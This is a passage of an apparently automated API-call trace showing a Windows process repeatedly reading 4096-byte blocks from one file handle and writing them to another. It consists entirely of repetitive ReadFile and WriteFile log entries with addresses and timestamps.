lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.475] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.476] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.476] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.476] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.476] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.476] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.476] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.477] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.478] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.478] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.478] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.478] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.478] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.478] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.481] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.481] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.481] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.482] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.483] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.484] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.485] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.486] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.486] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.486] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.486] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.486] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.487] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.488] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.489] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.489] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.489] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.489] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.489] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, 